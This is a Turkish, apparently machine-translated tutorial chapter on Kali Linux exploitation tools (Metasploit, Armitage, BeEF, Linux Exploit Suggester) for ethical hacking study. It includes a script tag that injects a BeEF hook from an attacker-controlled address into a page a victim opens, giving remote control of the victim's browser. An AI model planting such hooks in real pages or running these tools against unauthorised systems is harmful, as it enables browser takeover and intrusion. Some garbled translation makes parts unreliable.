Kali Linux - Sömürü Araçları

Bu bölümde, Kali Linux tarafından sunulan çeşitli sömürü araçlarını öğreneceğiz.

Metasploit

Daha önce de bahsettiğimiz gibi, Metasploit bir Rapid7 ürünüdür ve kaynakların çoğu www.metasploit.com web sayfalarında bulunabilir . Ticari ve ücretsiz olmak üzere iki versiyonu mevcuttur. Bu iki sürüm arasındaki farklar çok fazla değildir, bu durumda Topluluk sürümünü (ücretsiz) kullanacağız.

Bir Etik Hacker olarak, kurulum süresinden tasarruf ederek çok rahat olan diğer etik hackleme araçlarının yanı sıra Metasploit topluluk sürümünün gömülü olduğu “Kali Ditribution” ı kullanacaksınız. Ancak ayrı bir araç olarak kurmak isterseniz, Linux, Windows ve OS X gibi işletim sistemlerine yüklenebilen bir uygulamadır.

İlk önce Kali'de Metasploit Konsolunu açın. Ardından Uygulamalar → Kullanım Araçları → Metasploit'e gidin.

Başladıktan sonra, Metasploit sürümünün altının kırmızıyla çizildiği aşağıdaki ekranı göreceksiniz.

Konsolda, yardım kullanıyorsanız veya? sembolü, size MSP komutlarının açıklamaları ile birlikte bir liste gösterecektir. İhtiyaçlarınıza ve ne kullanacağınıza göre seçim yapabilirsiniz.

Bir diğer önemli yönetim komutu ise msfupdateBu, metasploit'in en son güvenlik açığı istismarlarıyla güncellenmesine yardımcı olur. Konsolda bu komutu çalıştırdıktan sonra, güncelleme tamamlanana kadar birkaç dakika beklemeniz gerekecektir.

Aşağıdaki ekran görüntüsünde gösterildiği gibi istediğinizi bulmak için kullanabileceğiniz "Ara" adlı iyi bir komutu vardır. Örneğin, Microsoft ile ilgili açıkları bulmak istiyorum ve komut şu olabilir:msf >search name:Microsoft type:exploit.

Burada "arama" komut, "ad" aradığımız nesnenin adı ve "tür" ne tür bir komut dosyası aradığımızdır.

Diğer bir komut "bilgi" dir. Kullanıldığı bir modül veya platform, yazarın kim olduğu, güvenlik açığı referansı ve bunun sahip olabileceği yük kısıtlamasıyla ilgili bilgileri sağlar.

Armitage

Metasploit için Armitage GUI, metasploit için tamamlayıcı bir araçtır. Hedefleri görselleştirir, istismarları önerir ve gelişmiş sömürü sonrası özellikleri ortaya çıkarır.

Hadi açalım ama önce metasploit konsolu açılıp çalıştırılmalı. Armitage'ı açmak için Applications → Exploit Tools → Armitage'a gidin.

Tıkla Connect düğmesi, aşağıdaki ekran görüntüsünde gösterildiği gibi.

Açıldığında aşağıdaki ekranı göreceksiniz.

Armitage kullanıcı dostudur. "Hedefler" alanı, keşfettiğiniz ve birlikte çalıştığınız tüm makineleri listeler, saldırıya uğramış hedefler kırmızı renkte ve üzerinde bir fırtına ile birlikte.

Hedefi hackledikten sonra, üzerine sağ tıklayabilir ve klasörleri keşfetmek (göz atmak) gibi yapmanız gerekenlerle keşfetmeye devam edebilirsiniz.

Aşağıdaki GUI'de, konsol adı verilen klasörlerin görünümünü göreceksiniz. Sadece klasörlere tıklayarak, metasploit komutlarına ihtiyaç duymadan klasörler arasında gezinebilirsiniz.

GUI'nin sağ tarafında, güvenlik açıklarının modüllerinin listelendiği bir bölümdür.

Sığır eti

BeEF, Browser Exploitation Framework. Web tarayıcısına odaklanan bir penetrasyon test aracıdır. BeEF, profesyonel sızma test edicisinin, istemci tarafı saldırı vektörlerini kullanarak bir hedef ortamın gerçek güvenlik duruşunu değerlendirmesine olanak tanır.

Öncelikle, aşağıdaki komutları kullanarak Kali paketini güncellemelisiniz -

root@kali:/# apt-get update  
root@kali:/# apt-get install beef-xss

Başlamak için aşağıdaki komutu kullanın -

root@kali:/# cd /usr/share/beef-xss  
root@kali:/# ./beef

Tarayıcıyı açın ve kullanıcı adı ile şifreyi girin: beef.

BeEF kancası, istemci tarayıcılarda çalışması gereken BeEF sunucusunda barındırılan bir JavaScript dosyasıdır. Bunu yaptığında, hedef hakkında birçok bilgiyi ileten BeEF sunucusunu geri çağırır. Ayrıca ek komutların ve modüllerin hedefe karşı çalıştırılmasına izin verir. Bu örnekte, konumuBeEF kanca at http://192.168.1.101:3000/hook.js.

Bir tarayıcıya saldırmak için, istemcinin görüntüleyeceği bir sayfaya JavaScript kancasını dahil edin. Bunu yapmanın birkaç yolu vardır, ancak en kolayı aşağıdakileri bir sayfaya eklemek ve müşterinin bir şekilde onu açmasını sağlamaktır.

<script src = "http://192.168.1.101:3000/hook.js" type = "text/javascript"></script>

Sayfa yüklendikten sonra, BeEF Kontrol Paneline geri dönün ve sol üstteki "Çevrimiçi Tarayıcılar" a tıklayın. Birkaç saniye sonra, bağlı bir tarayıcıyı temsil eden IP adresinizin açılır penceresini görmelisiniz. IP'nin üzerine gelmek, tarayıcı sürümü, işletim sistemi ve hangi eklentilerin yüklü olduğu gibi bilgileri hızlı bir şekilde sağlayacaktır.

Komutu uzaktan çalıştırmak için, "Sahip olunan" ana bilgisayarı tıklayın. Ardından, komut üzerinde yürütmek istediğiniz modüle tıklayın ve son olarak “Yürüt” e tıklayın.

Linux Exploit Suggester

Yayın sürümü verilen olası istismarları önerir ‘uname -r’ Linux İşletim Sisteminin.

Çalıştırmak için aşağıdaki komutu yazın -

root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k 3.0.0

3.0.0 kullanmak istediğimiz Linux işletim sisteminin çekirdek sürümüdür.